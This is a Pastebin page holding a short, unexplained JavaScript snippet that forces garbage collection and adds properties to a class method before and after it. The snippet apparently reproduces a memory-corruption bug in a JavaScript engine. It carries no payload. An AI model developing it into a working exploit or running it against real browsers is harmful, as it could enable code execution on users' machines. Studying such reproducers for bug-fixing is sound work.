Advertisement
Guest User

Untitled

a guest
Apr 25th, 2020
124
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // trigger gc
  2. function gc() {
  3.     for (var i = 0; i < 0x10; i++) {
  4.     new ArrayBuffer(0x1000000);
  5.     }
  6. }
  7.  
  8. function f() {
  9.     class A { ['a'] () {} };
  10.     let a = A.prototype.a;
  11.     a[1024] = 1337;
  12.     a.a = 1.1;
  13.     a.b = 1.1;
  14. }
  15.  
  16. f();
  17. gc();
  18. f();
Advertisement
Advertisement
Advertisement
RAW Paste Data Copied
Advertisement